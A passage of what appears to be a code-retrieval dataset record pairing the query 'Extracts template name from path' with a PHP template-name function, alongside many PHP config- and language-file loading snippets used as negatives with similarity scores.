(@is_file($basePath))\t{\n\t\t\t\tinclude('./'.$basePath);\n\t\t\t\t$this->LOCAL_LANG = $LOCAL_LANG;\n\t\t\t\tif (is_array($this->conf['_LOCAL_LANG.']))\t{\n\t\t\t\t\treset($this->conf['_LOCAL_LANG.']);\n\t\t\t\t\twhile(list($k,$lA)=each($this->conf['_LOCAL_LANG.']))\t{\n\t\t\t\t\t\tif (is_array($lA))\t{\n\t\t\t\t\t\t\t$k = substr($k,0,-1);\n\t\t\t\t\t\t\t$this->LOCAL_LANG[$k] = t3lib_div::array_merge_recursive_overrule(is_array($this->LOCAL_LANG[$k])?$this->LOCAL_LANG[$k]:array(), $lA);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}else if(!$this->LOCAL_LANG_loaded && $file){\n\t\t\tif (@is_file($file))\t{\n\t\t\t\tinclude($file);\n\t\t\t\t$this->LOCAL_LANG = $LOCAL_LANG;\n\t\t\t\tif (is_array($this->conf['_LOCAL_LANG.']))\t{\n\t\t\t\t\treset($this->conf['_LOCAL_LANG.']);\n\t\t\t\t\twhile(list($k,$lA)=each($this->conf['_LOCAL_LANG.']))\t{\n\t\t\t\t\t\tif (is_array($lA))\t{\n\t\t\t\t\t\t\t$k = substr($k,0,-1);\n\t\t\t\t\t\t\t$this->LOCAL_LANG[$k] = t3lib_div::array_merge_recursive_overrule(is_array($this->LOCAL_LANG[$k])?$this->LOCAL_LANG[$k]:array(), $lA);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t}\n\t\t$this->LOCAL_LANG_loaded = 1;\n\t}", "private function loadFiles()\n {\n $finder = new Finder();\n\n foreach (Config::get('routing_dirs') as $directory) {\n $finder\n ->files()\n ->name('*.yml')\n ->in($directory)\n ;\n\n foreach ($finder as $file) {\n $resource = $file->getRealPath();\n $this->routes = array_merge($this->routes, Yaml::parse(file_get_contents($resource)));\n }\n }\n }", "private function loadConfig() {\n $config = array();\n\n $this->config = $config;\n if (file_exists(__DIR__ . '/../config.php')) {\n require_once(__DIR__. '/../config.php');\n $this->config = array_merge($this->config, $config);\n //TODO check for required config entries\n } else {\n //TODO handle this nicer\n $this->fatalErr('NO_CFG', 'Unable to load config file');\n }\n\n if (array_key_exists('THEME', $this->config)) {\n $this->pageLoader->setTheme($this->config['THEME']);\n }\n }", "public function loadYamlConfig($filepath);", "public function load() {\n\t\t$this->copyFromTemplateIfNeeded();\n\t\trequire $this->filePath;\n\t\t$this->vars = $vars;\n\t}", "function __loadConfig($plugin,$file) {\n // still support config values of v2.3 elements\n if (count(explode('.', $file)) > 0) {\n $file = str_replace('.', '_', $file);\n }\n \n // load config from app config folder\n if (Configure::load($file) === false) {\n // load config from plugin config folder\n if( $plugin ){\n\t if (Configure::load($plugin.'.'.$file) === false) {\n\t echo '<p>Error: The '.$file.'.php could not be found in your app/config or app/plugins/comment/config folder. Please create it from the default comment/config/default.php.</p>';\n\t }\n\t }else\n\t {\n\t if (Configure::load($file) === false) {\n\t echo '<p>Error: The '.$file.'.php could not be found in your app/config or app/plugins/comment/config folder. Please create it from the default comment/config/default.php.</p>';\n\t }\t \n\t }\n }\n }", "public function loadSnippets()\n\t{\n\t\t$fresh = ee('Model')->make('Snippet')->loadAll();\n\n\t\tif ($fresh->count() > 0)\n\t\t{\n\t\t\t$snippets = $fresh->getDictionary('snippet_name', 'snippet_contents');\n\n\t\t\t// Thanks to @litzinger for the code suggestion to parse\n\t\t\t// global vars in snippets...here we go.\n\n\t\t\t$var_keys = array();\n\n\t\t\tforeach (ee()->config->_global_vars as $k => $v)\n\t\t\t{\n\t\t\t\t$var_keys[] = LD.$k.RD;\n\t\t\t}\n\n\t\t\t$snippets = str_replace($var_keys, ee()->config->_global_vars, $snippets);\n\n\t\t\tee()->config->_global_vars = ee()->config->_global_vars + $snippets;\n\n\t\t\tunset($snippets);\n\t\t\tunset($fresh);\n\t\t\tunset($var_keys);\n\t\t}\n\t}", "public function updateClassAliasesDataProvider()\n {\n return [\n 'plain text replace model' => include __DIR__ . '/_files/data_content_plain_model.php',\n 'plain text replace resource' => include __DIR__ . '/_files/data_content_plain_resource.php',\n 'plain text replace with pk field' => include __DIR__ . '/_files/data_content_plain_pk_fields.php',\n 'xml replace' => include __DIR__ . '/_files/data_content_xml.php',\n 'wiki markup replace' => include __DIR__ . '/_files/data_content_wiki.php',\n 'serialized php replace' => include __DIR__ . '/_files/data_content_serialized.php'\n ];\n }", "public function loadResources() {\n\t\t$file = 'LLL:EXT:lang/locallang_core.xml:';\n\t\t$indicators = $this->getIndicators();\n\t\t$configuration = array(\n\t\t\t'LLL' => array(\n\t\t\t\t'copyHint' => $GLOBALS['LANG']->sL($file . 'tree.copyHint', TRUE),\n\t\t\t\t'fakeNodeHint' => $GLOBALS['LANG']->sL($file . 'mess.please_wait', TRUE),\n\t\t\t\t'activeFilterMode' => $GLOBALS['LANG']->sL($file . 'tree.activeFilterMode', TRUE),\n\t\t\t\t'dropToRemove' => $GLOBALS['LANG']->sL($file . 'tree.dropToRemove', TRUE),\n\t\t\t\t'buttonRefresh' => $GLOBALS['LANG']->sL($file . 'labels.refresh', TRUE),\n\t\t\t\t'buttonNewNode' => $GLOBALS['LANG']->sL($file . 'tree.buttonNewNode', TRUE),\n\t\t\t\t'buttonFilter' => $GLOBALS['LANG']->sL($file . 'tree.buttonFilter', TRUE),\n\t\t\t\t'dropZoneElementRemoved' => $GLOBALS['LANG']->sL($file . 'tree.dropZoneElementRemoved', TRUE),\n\t\t\t\t'dropZoneElementRestored' => $GLOBALS['LANG']->sL($file . 'tree.dropZoneElementRestored', TRUE),\n\t\t\t\t'searchTermInfo' => $GLOBALS['LANG']->sL($file . 'tree.searchTermInfo', TRUE),\n\t\t\t\t'temporaryMountPointIndicatorInfo' => $GLOBALS['LANG']->sl($file . 'labels.temporaryDBmount', TRUE),\n\t\t\t\t'deleteDialogTitle' => $GLOBALS['LANG']->sL('LLL:EXT:cms/layout/locallang.xml:deleteItem', TRUE),\n\t\t\t\t'deleteDialogMessage' => $GLOBALS['LANG']->sL('LLL:EXT:cms/layout/locallang.xml:deleteWarning', TRUE),\n\t\t\t\t'recursiveDeleteDialogMessage' => $GLOBALS['LANG']->sL('LLL:EXT:cms/layout/locallang.xml:recursiveDeleteWarning', TRUE),\n\t\t\t),\n\n\t\t\t'Configuration' => array(\n\t\t\t\t'hideFilter' => $GLOBALS['BE_USER']->getTSConfigVal('options.pageTree.hideFilter'),\n\t\t\t\t'displayDeleteConfirmation' => $GLOBALS['BE_USER']->jsConfirmation(4),\n\t\t\t\t'canDeleteRecursivly' => $GLOBALS['BE_USER']->uc['recursiveDelete'] == TRUE,\n\t\t\t\t'disableIconLinkToContextmenu' => $GLOBALS['BE_USER']->getTSConfigVal(\n\t\t\t\t\t'options.pageTree.disableIconLinkToContextmenu'\n\t\t\t\t),\n\t\t\t\t'indicator' => $indicators['html'],\n\t\t\t\t'temporaryMountPoint' => Tx_Taxonomy_Service_ExtDirect_Controller_Commands::getMountPointPath(),\n\t\t\t),\n\n\t\t\t'Sprites' => array(\n\t\t\t\t'Filter' => t3lib_iconWorks::getSpriteIconClasses('actions-system-tree-search-open'),\n\t\t\t\t'NewNode' => t3lib_iconWorks::getSpriteIconClasses('actions-page-new'),\n\t\t\t\t'Refresh' => t3lib_iconWorks::getSpriteIconClasses('actions-system-refresh'),\n\t\t\t\t'InputClear' => t3lib_iconWorks::getSpriteIconClasses('actions-input-clear'),\n\t\t\t\t'TrashCan' => t3lib_iconWorks::getSpriteIconClasses('actions-edit-delete'),\n\t\t\t\t'TrashCanRestore' => t3lib_iconWorks::getSpriteIconClasses('actions-edit-restore'),\n\t\t\t\t'Info' => t3lib_iconWorks::getSpriteIconClasses('actions-document-info'),\n\t\t\t)\n\t\t);\n\n\t\treturn $configuration;\n\t}", "public function replace()\n {\n $data = $this->data;\n $rules = $this->rules;\n\n array_walk($rules, function(&$rule) use ($data)\n {\n preg_match_all('/\\{(.*?)\\}/', $rule, $matches);\n\n foreach($matches[0] as $key => $placeholder)\n {\n if(isset($data[$matches[1][$key]]))\n {\n $rule = str_replace($placeholder, $data[$matches[1][$key]], $rule);\n }\n }\n });\n\n return $rules;\n }", "private function changeLangFileContent() \n {\n $this->read();\n $this->arrayLang[$this->key] = $this->value;\n $this->save();\n }", "public function load_maps_file()\r\n {\r\n log_message('debug', 'Reloading '. XML_MAPS_FILE .' file from manaserv');\r\n\r\n // load the configured path and filename from config file\r\n $this->maps_file = $this->CI->config->item('manaserv-data_path') . XML_MAPS_FILE;\r\n\r\n // check if the file really exists and is readable\r\n if (!file_exists($this->maps_file))\r\n {\r\n show_error('The '. XML_MAPS_FILE .' file ' . $this->maps_file . ' configured'.\r\n ' in mana_config.php cannot be found');\r\n return;\r\n }\r\n else\r\n {\r\n // reset current maps\r\n $this->maps = array();\r\n\r\n // load and parse the xml file\r\n $maps = simplexml_load_file($this->maps_file);\r\n foreach ($maps as $map)\r\n {\r\n // loop through defined maps and build internal array\r\n $m = new Map(\r\n intval($map->attributes()->id), // id\r\n strval($map->attributes()->name) // name\r\n );\r\n\r\n // set description if available\r\n if (strlen(strval($map->attributes()->description)) > 0)\r\n {\r\n $m->setDescription(strval($map->attributes()->description));\r\n }\r\n\r\n $this->maps[$m->getId()] = $m;\r\n }\r\n\r\n $this->flush_maps();\r\n }\r\n log_message('debug', 'Reloading '. XML_MAPS_FILE .' file ... done');\r\n }", "public function loadFile($file)\n\t{\n\t\t$file = str_replace('..', '', $file);\n\t\t$syspath = SYSPATH.'ee/EllisLab/ExpressionEngine/Config/'.$file.'.php';\n\t\t$userpath = SYSPATH.'user/config/'.$file.'.php';\n\n\t\t$out = array();\n\n\t\tif (file_exists($syspath))\n\t\t{\n\t\t\t$out = include $syspath;\n\t\t}\n\n\t\tif (file_exists($userpath))\n\t\t{\n\t\t\t$userout = include $userpath;\n\t\t\t$out = array_replace_recursive($out, $userout);\n\t\t}\n\n\t\treturn $out;\n\t}", "function load($langfile = '', $idiom = '')\n\t{\n\t\tif (is_array($langfile))\n\t\t{\n\t\t\t$temp = $langfile;\n\t\t\t$langfile = $temp['0'];\n\t\t\t$idiom = $temp['1'];\n\t\t}\n\t\n\t\t$langfile = str_replace(EXT, '', str_replace('_lang.', '', $langfile)).'_lang'.EXT;\n\t\t\n\t\tif (call('CI', 'is_loaded', $langfile) == TRUE)\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tif ($idiom == '')\n\t\t{\n\t\t\t$deft_lang = call('config', 'item', 'language');\n\t\t\t$idiom = ($deft_lang == '') ? 'english' : $deft_lang;\n\t\t}\n\t\n\t\tif ( ! file_exists(BASEPATH.'language/'.$idiom.'/'.$langfile))\n\t\t{\n\t\t\tshow_error('Unable to load the requested language file: language/'.$langfile.EXT);\n\t\t}\n\n\t\tinclude_once(BASEPATH.'language/'.$idiom.'/'.$langfile);\n\t\t \n\t\tif ( ! isset($lang))\n\t\t{\n\t\t\tlog_message('error', 'Language file contains no data: language/'.$idiom.'/'.$langfile);\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t$this->ci_is_loaded[] = $langfile;\n\t\t$this->language = array_merge($this->language, $lang);\n\t\tunset($lang);\n\t\t\n\t\tlog_message('debug', 'Language file loaded: language/'.$idiom.'/'.$langfile);\n\t}", "private function initVarConfMap()\n {\n\n // Set the global $confMapLocal\n switch ( true )\n {\n case( isset( $this->conf_view[ 'navigation.' ][ 'map.' ] ) ):\n // local configuration\n $this->confMap = $this->conf_view[ 'navigation.' ][ 'map.' ];\n if ( $this->pObj->b_drs_map )\n {\n $prompt = 'Local configuration in: views.' . $this->conf_path . '.navigation.map';\n t3lib_div :: devLog( '[INFO/BROWSERMAPS] ' . $prompt, $this->pObj->extKey, 0 );\n }\n break;\n // local configuration\n default:\n // global configuration\n $this->confMap = $this->pObj->conf[ 'navigation.' ][ 'map.' ];\n if ( $this->pObj->b_drs_map )\n {\n $prompt = 'Global configuration in: navigation.map';\n t3lib_div :: devLog( '[INFO/BROWSERMAPS] ' . $prompt, $this->pObj->extKey, 0 );\n }\n break;\n // global configuration\n }\n // Set the global $confMapLocal\n//var_dump(__METHOD__, __LINE__, array_keys($this->confMap));\n\n return;\n }", "function readcfg() {\r\n // Analizar sin secciones\r\n $arraycfg = parse_ini_file(\"cfg/mysqlinventario.ini\");\r\n //print_r($arraycfg);\r\n //print_r($arraycfg['aduserinv']);\r\n return $arraycfg;\r\n }", "protected function getImportsReplace()\n {\n\n // build up import lines\n $importLines = [\n config('pxlcms.generator.repositories.extend_class')\n ];\n\n // model classname\n $importLines[] = $this->context->makeFqnForModelName( studly_case($this->data->name) );;\n\n\n\n // set them in the right order\n if (config('pxlcms.generator.aesthetics.sort_imports_by_string_length')) {\n\n // sort from shortest to longest\n usort($importLines, function ($a, $b) {\n return strlen($a) - strlen($b);\n });\n\n } else {\n sort($importLines);\n }\n\n\n // build the actual replacement string\n $replace = \"\\n\";\n\n foreach ($importLines as $line) {\n $replace .= \"use \" . $line . \";\\n\";\n }\n\n $replace .= \"\\n\";\n\n return $replace;\n }", "private function LoadConstants()\r\n\t{\r\n\t\t$data_config = $this->LoadData('application/data/appconfig.xml','config');\r\n\t\t\r\n\t\tif(!defined(\"NEW_LINE\"))\r\n\t\t\tdefine(\"NEW_LINE\",\"\\n\");\r\n\t\t\t\r\n\t\tforeach ($data_config AS $elem)\r\n\t\t{\r\n\t\t\tif(!defined(strtoupper('sitename')))\r\n\t\t\t\tdefine(strtoupper('sitename'),$elem->getElementsByTagName('sitename')->item(0)->nodeValue);\r\n\t\t\t\t\r\n\t\t\tif(!defined(strtoupper('tagline')))\r\n\t\t\t\tdefine(strtoupper('tagline'),$elem->getElementsByTagName('tagline')->item(0)->nodeValue);\r\n\t\t\t\t\r\n\t\t\tif(!defined(strtoupper('ownername')))\t\r\n\t\t\t\tdefine(strtoupper('ownername'),$elem->getElementsByTagName('ownername')->item(0)->nodeValue);\r\n\t\t\t\t\r\n\t\t\tif(!defined(strtoupper('owneremail')))\t\r\n\t\t\t\tdefine(strtoupper('owneremail'),$elem->getElementsByTagName('owneremail')->item(0)->nodeValue);\r\n\t\t\t\t\r\n\t\t\tif(!defined(strtoupper('appversion')))\r\n\t\t\t\tdefine(strtoupper('appversion'),$elem->getElementsByTagName('appversion')->item(0)->nodeValue);\r\n\t\t\t\r\n\t\t\t$path = $elem->getElementsByTagName('paths');\r\n\t\t\tif($path->length > 0)\r\n\t\t\t{\r\n\t\t\t\tforeach ($path AS $nested)\r\n\t\t\t\t{\r\n\t\t\t\t\tif(!defined(strtoupper('application')))\r\n\t\t\t\t\t\tdefine(strtoupper('application'),$nested->getElementsByTagName('application')->item(0)->nodeValue);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tif(!defined(strtoupper('controls')))\r\n\t\t\t\t\t\tdefine(strtoupper('controls'),$nested->getElementsByTagName('controls')->item(0)->nodeValue);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tif(!defined(strtoupper('data')))\r\n\t\t\t\t\t\tdefine(strtoupper('data'),$nested->getElementsByTagName('data')->item(0)->nodeValue);\r\n\r\n\t\t\t\t\tif(!defined(strtoupper('templates')))\r\n\t\t\t\t\t\tdefine(strtoupper('templates'),$nested->getElementsByTagName('templates')->item(0)->nodeValue);\r\n\r\n\t\t\t\t\tif(!defined(strtoupper('navigation')))\n\t\t\t\t\t\tdefine(strtoupper('navigation'),$nested->getElementsByTagName('navigation')->item(0)->nodeValue);\r\n\t\t\t\t\t\r\n\t\t\t\t\tif(!defined(strtoupper('navigationdata')))\n\t\t\t\t\t\tdefine(strtoupper('navigationdata'),$nested->getElementsByTagName('navigationdata')->item(0)->nodeValue);\r\n\t\t\t\t\t\r\n\t\t\t\t\tif(!defined(strtoupper('modules')))\r\n\t\t\t\t\t\tdefine(strtoupper('modules'),$nested->getElementsByTagName('modules')->item(0)->nodeValue);\r\n\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\tif(!defined(strtoupper('pages')))\r\n\t\t\t\t\t\tdefine(strtoupper('pages'),$nested->getElementsByTagName('pages')->item(0)->nodeValue);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tif(!defined(strtoupper('public')))\r\n\t\t\t\t\t\tdefine(strtoupper('public'),$nested->getElementsByTagName('public')->item(0)->nodeValue);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tif(!defined(strtoupper('logs')))\r\n\t\t\t\t\t\tdefine(strtoupper('logs'),$nested->getElementsByTagName('logs')->item(0)->nodeValue);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tunset($data_config);\r\n\t}", "function loadConf($id, $file=CONFERENCES)\n{\n\t$confs = getJSON($file);\n\t$index = searchIndex($confs, $id);\n\t$result = NULL;\n\t\n\tif($index >= 0){\n\t\t$result = $confs[$index];\n\t}\n\treturn $result;\n}", "private function read_config() {\n\t\t$sections = parse_ini_file($this->config['conf'], true);\n\t\tforeach ($sections as $sectionk => $sectionv) {\n\t\t\tforeach ($sectionv as $key => $var)\n\t\t\t\t$this->config[$sectionk . '.' . $key] = $var;\n\t\t}\n\t}", "public function load()\n\t{\n\t\tif (file_exists(self::$configPath))\n\t\t{\n\t\t\t$this->config = json_decode(file_get_contents(self::$configPath), true);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->config = array();\n\t\t}\n\t}", "protected function generateLanguagesConfig()\n {\n $phpConfDir = $this->behavior->getTable()->getGeneratorConfig()->getBuildProperties()['behaviorCrudablePhpconfDir'];\n $languagesFilename = sprintf(\"%s/languages-conf.php\", rtrim($phpConfDir, '/'));\n\n if (!file_exists($languagesFilename)) {\n $fs = new Filesystem();\n $fs->touch($languagesFilename);\n }\n\n $languagesString = str_replace(' ', '', $this->behavior->getTable()->getGeneratorConfig()->getBuildProperties()['behaviorCrudableLanguages']);\n $languagesConf = explode(';', $languagesString);\n\n $languagesConf = array_map(function($value) {\n return array(\n 'locale' => $value,\n 'filename' => sprintf(\"trans-%s.yml\", $value),\n );\n }, $languagesConf);\n\n // write the controllers configuration file\n file_put_contents(\n $languagesFilename,\n sprintf(\"<?php\\nreturn %s;\\n\", var_export($languagesConf, true))\n );\n }", "public function registerConfig()\n {\n $this->mergeConfigFrom(__DIR__ . '/../../config/language-switcher.php', 'language-switcher');\n }", "private function loadConfigFiles()\n { if (!$this->configFiles) {\n $this->configFiles[] = 'config.neon';\n }\n\n foreach ($this->configFiles as $file) {\n $this->configurator->addConfig($this->paths->getConfigDir().'/'.$file);\n }\n }", "function load_settings(){\n $ret = array();\n $c = $this->_files->readfile($this->_settings_file);\n if( $c !== false ){\n $c = explode( \"\\n\", eol($c));\n foreach( $c as $line ){\n //ignore a lot of stuff - quick hack for now\n if(substr($line, 0, 1) != '#'\n && trim($line) != ''\n && substr($line, 0, 4) != 'LANG'\n && substr($line, 0, 1) != '#'\n && substr($line, 0, 11) != 'export LANG'\n && substr($line, 0, 4) != 'bold'\n && substr($line, 0, 6) != 'normal' ){\n $set = explode('=', $line);\n $ret[$set[0]] = trim($set[1], '\"\\''); //this should now be one setting per key with setting name as key\n }\n }\n\n if( count($ret) > 0 ){\n $_SESSION['settings.conf'] = $ret;\n return $_SESSION['settings.conf'];\n }\n }else{\n unset($_SESSION['settings.conf']);\n return false;\n }\n }", "private function load()\n {\n if (!file_exists($this->file)) {\n throw new Exception('config file not found');\n }\n // read contents of wordpress config\n // we can not require the configuration because it requires a shit load of other files\n $this->config = file_get_contents($this->file);\n }", "private function load_config() {\n $this->config = new Config();\n }", "public function readConfigFile(): void\n {\n $configPath = __DIR__ . '/../../.config';\n if (!file_exists($configPath)) {\n echo \"Could not find .config\\n\";\n die;\n }\n $lines = preg_split('/[\\r\\n]+/', file_get_contents($configPath));\n foreach ($lines as $line) {\n if (empty($line)) {\n continue;\n }\n if (substr($line, 0, 1) == '#') {\n continue;\n }\n $kv = preg_split(\"/=/\", $line);\n $key = $kv[0];\n $value = $kv[1];\n $this->data[$key] = $value;\n }\n }", "function acp_load_language( $file=\"\" )\n {\n \tif ( ! $this->lang_id )\n \t{\n \t\t$this->lang_id = $this->member['language'] ? $this->member['language'] : $this->vars['default_language'];\n\n\t\t\tif ( ($this->lang_id != $this->vars['default_language']) and ( ! is_dir( ROOT_PATH.\"cache/lang_cache/\".$this->lang_id ) ) )\n\t\t\t{\n\t\t\t\t$this->lang_id = $this->vars['default_language'];\n\t\t\t}\n\t\t\t\n\t\t\t//-----------------------------------------\n\t\t\t// Still nothing?\n\t\t\t//-----------------------------------------\n\t\t\t\n\t\t\tif ( ! $this->lang_id )\n\t\t\t{\n\t\t\t\t$this->lang_id = 'en';\n\t\t\t}\n\t\t}\n \t\n \t//-----------------------------------------\n \t// Load it\n \t//-----------------------------------------\n\n \tif( file_exists( ROOT_PATH.\"cache/lang_cache/\".$this->lang_id.\"/\".$file.\".php\" ) )\n \t{\n\t require_once( ROOT_PATH.\"cache/lang_cache/\".$this->lang_id.\"/\".$file.\".php\" );\n\t \n\t if ( is_array( $lang ) )\n\t {\n\t\t\t\tforeach ($lang as $k => $v)\n\t\t\t\t{\n\t\t\t\t\t$this->acp_lang[ $k ] = $v;\n\t\t\t\t}\n\t }\n }\n \n unset($lang);\n }", "public static function load()\n {\n if(!self::$loaded)\n {\n $GLOBALS['_EZMVC_SYS_CONFIG'] = require __DIR__ . '/system.config.php'; //Load config file\n $GLOBALS['_EZMVC_SYS_CONFIG'] = is_array($GLOBALS['_EZMVC_SYS_CONFIG']) ? $GLOBALS['_EZMVC_SYS_CONFIG'] : []; //Make sure its an array\n\n $GLOBALS['_EZMVC_APP_CONFIG'] = require dirname(__DIR__) . '/app/config/app.config.php';\n $GLOBALS['_EZMVC_APP_CONFIG'] = is_array($GLOBALS['_EZMVC_APP_CONFIG']) ? $GLOBALS['_EZMVC_APP_CONFIG'] : [];\n }\n }", "protected function read() {\n\t\t$fileContent = trim(file_get_contents($this->filepath));\n\t\t$pattern = '/\\$([^=]+)=([^;]+);/';\n\t\t$matches = null;\n\t\t$matchesFound = preg_match_all($pattern, $fileContent, $matches);\n\t\t$configContents = array();\n\t\tif ($matchesFound) {\n\t\t\t$configContents = $matches[0];\n\t\t}\n\t\t$this->rows = array();\n\t\tforeach ($configContents as $configLine) {\n\t\t\t$this->rows[] = new ConfigFileRow($configLine, $this);\n\t\t}\n\t\t$this->rowIndex = -1;\n\t\tunset($fileContent);\n\t}", "private function load(): void\n {\n $paths = $this->getPaths();\n\n $this->locales['app'] = $this->loadTranslations($paths['app']);\n\n foreach ($paths['vendors'] as $path) {\n $this->locales['vendor-php'] = $this->loadTranslations($path);\n $this->locales['vendor-json'] = $this->loadJsonTranslations($path);\n }\n }", "public function load($file);", "public function load($file);", "public function load($file);", "function cmfcString_replaceVariables($replacements,$text) {\n\t\tforeach ($replacements as $needle=>$replacement) {\n\t\t\t$text=str_replace($needle,$replacement,$text);\n\t\t}\n\t\treturn $text;\n\t}", "protected function resolveFromConfigFile()\n {\n $config = null;\n\n if (file_exists($this->configFile)) {\n $config = require_once($this->configFile);\n }\n\n if ($config && $connectionString = $config['connection_string']) {\n static::setConnection(new PDO($connectionString));\n }\n }" ]
[ "0.7132227", "0.57202", "0.5656777", "0.5536893", "0.54965156", "0.54354906", "0.54036236", "0.5393392", "0.53895706", "0.5386089", "0.53222144", "0.52682585", "0.52582896", "0.5205951", "0.52005094", "0.5193068", "0.51737094", "0.51709044", "0.51397496", "0.5106148", "0.51052237", "0.51052237", "0.5100953", "0.50887054", "0.50881064", "0.50877917", "0.5086419", "0.5072459", "0.50588155", "0.505784", "0.5047517", "0.50456506", "0.5044055", "0.50352323", "0.5030473", "0.5027094", "0.502176", "0.5019956", "0.50198", "0.50159734", "0.50157315", "0.50157315", "0.5008774", "0.5007385", "0.49997827", "0.49638003", "0.49638003", "0.4961911", "0.49600595", "0.49414778", "0.49321833", "0.49316743", "0.49209043", "0.49190906", "0.49151936", "0.4912527", "0.49124452", "0.49105853", "0.49056655", "0.49052474", "0.48977387", "0.4896912", "0.48844966", "0.48833144", "0.48831812", "0.48800874", "0.48761365", "0.4874913", "0.48748136", "0.48746747", "0.48631433", "0.48552015", "0.48525605", "0.4851807", "0.4849746", "0.48477706", "0.48462635", "0.48415175", "0.48334387", "0.48294562", "0.48270723", "0.48270366", "0.48243773", "0.48209786", "0.4817125", "0.48153442", "0.48040247", "0.47893792", "0.47821075", "0.47787774", "0.47759193", "0.47747323", "0.47713727", "0.47696054", "0.47671482", "0.47633207", "0.47633207", "0.47633207", "0.4759646", "0.4758721" ]
0.7227565
0
Extracts template name from path
function template_name($dir) { $tpl = XS_TPL_ANY; // can start at any position $tpl_null = XS_TPL_START; // can start only at zero position // searching for 'templates/' and removing everything before it $pos = strpos($dir, $tpl); if($pos === false) { if(substr($dir, 0, strlen($tpl_null)) !== $tpl_null) { return ''; } $str = substr($dir, strlen($tpl_null), strlen($dir)); } else { $str = substr($dir, $pos + strlen($tpl), strlen($dir)); } // searching for one more 'templates/' // that can happen if full path is like /home/some_dude/templates/phpbb/templates/subSilver/ $dir = $this->template_name($str); if(!$dir) { $dir = $str; } if(strpos($str, $tpl) !== false) { $dir = $this->template_name($str); } // check for another subdirectory $pos = strpos($dir, '/'); if($pos) { $dir = substr($dir, 0, $pos); } return $dir; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getTemplatePathAndFilename() {}", "protected function getTemplatePathAndFilename() {}", "function get_template($template)\n {\n $login_arr = $this->action_parser($this->action, 'template');\n $pos = array_search($template, $login_arr['template']['name']);\n return $login_arr['template']['path'][$pos];\n }", "function get_template($template)\n {\n\n $login_arr = $this->action_parser($this->action, 'template');\n\n $pos = array_search($template, $login_arr['template']['name']);\n\n return $login_arr['template']['path'][$pos];\n }", "function get_template($template){\n\n\t\t\t$login_arr = $this->action_parser($this->action,'template') ;\n\n\t\t\t$pos = array_search($template, $login_arr['template']['name']); \n\n\t\t\treturn $login_arr['template']['path'][$pos];\n\n\t\t}", "abstract public function getTemplateName();", "function granola_resolve_template($path)\n{\n /**\n * See if the string ends with .php and remove it for consistency.\n * We will add it back in later\n */\n if (substr($path, -4) === '.php') {\n $path = substr($path, 0, -4);\n }\n\n // Consider get_theme_file_path\n // https://developer.wordpress.org/reference/functions/get_theme_file_path/\n return get_stylesheet_directory() . '/' . $path . '.php';\n}", "final public function template($path) {\n\t\treturn '';\n\t}", "private function extractName($path)\n {\n $segments = explode('/', $path);\n\n return array_pop($segments);\n }", "public static function name($_path)\r\n {\r\n return pathinfo($_path, PATHINFO_FILENAME);\r\n }", "public function getTemplateName(): string;", "function _get_template_edit_filename($fullpath, $containingfolder)\n {\n }", "function template(string $path){\n return 'views/templates/'.$path;\n}", "private function template_path ($path) {\n $path = explode('/', $path);\n $path[0] .= '/'.$this->get_skin().'/design';\n return implode('/',$path);\n }", "public function generateFullyQualifiedNames($tpl, $path){\n\t\t\t$posStart = strpos($tpl, '<pp:dynamic ');\n\t\t\t\n\t\t\twhile ($posStart !== false) {\n\t\t\t\t$startEnd = strpos($tpl, '>', $posStart + 15);\n\t\t\t\t$nameTag = trim(substr($tpl, $posStart + 11, $startEnd-11-$posStart));\n\t\t\t\t$nameTag = substr($nameTag, 6, -1);\n\t\t\t\t\n\t\t\t\t$nextStart = strpos($tpl, '<pp:dynamic ', $posStart + 20);\n\t\t\t\t$posEnd = strpos($tpl, '</pp:dynamic>', $posStart) + Template::DCTL;\n\n\t\t\t\twhile($nextStart !== false && $nextStart < $posEnd && $posEnd > Template::DCTL){\n\t\t\t\t\t$posEnd = strpos($tpl, '</pp:dynamic>', $posEnd) + Template::DCTL;\n\t\t\t\t\t$nextStart = strpos($tpl, '<pp:dynamic', $nextStart+20);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$npath = (($path != '')?$path.'_':'').$nameTag;\n\t\t\t\t$tpl = substr_replace($tpl, '<pp:dynamic name=\"'.$npath.'\">'.$this->generateFullyQualifiedNames(substr($tpl, $startEnd+1, $posEnd - $startEnd - Template::DCTL - 1), $npath).'</pp:dynamic>', $posStart, $posEnd - $posStart);\n\t\t\t\t\n\t\t\t\t$posStart = strpos($tpl, '<pp:dynamic ', $posEnd);\n\t\t\t}\n\t\t\t\n\t\t\treturn $tpl;\n\t\t}", "public function path()\n {\n try {\n return ($this->engine->getResolveTemplatePath())($this->name);\n } catch (TemplateNotFound $e) {\n return $e->paths()[0];\n }\n }", "public function resolveTemplateName($name);", "public function getTemplatePathname() : string {\n\t\treturn $this->templateBasePath . '/linklist-group.mustache';\n\t}", "function getTemplateName() {\n\t\treturn $this->templateName;\n\t}", "function getTemplateFilename($t)\n{\n\treturn ARC_TEMPLATE_FS . $t . '.php';\n}", "public static function name($path)\n\t{\n\t\treturn pathinfo($path, PATHINFO_FILENAME);\n\t}", "public static function name($path)\n\t{\n\t\treturn pathinfo($path, PATHINFO_FILENAME);\n\t}", "function page_name( $path )\n\t{\n\t\treturn basename($path);\n\t}", "public function getTemplateName (string $type, string $name) : string\n {\n return $this->registry->getComponent($type, $name)->getTemplatePath();\n }", "public function get_template_name(){\n\n return str_replace(\"_\",\"\",str_replace(\"_page\", \"\", get_class($this))) . \".tpl\";\n }", "public function getTemplateName()\n {\n }", "protected function getTemplate()\r\n {\r\n $request = Registry::getInstance()->get('Request');\r\n\r\n return implode(\r\n DIRECTORY_SEPARATOR,\r\n array(\r\n APPLICATION_PATH,\r\n $this->templatePath,\r\n $request->getControllerName(),\r\n $request->getActionName() . $this->templateExtention\r\n )\r\n 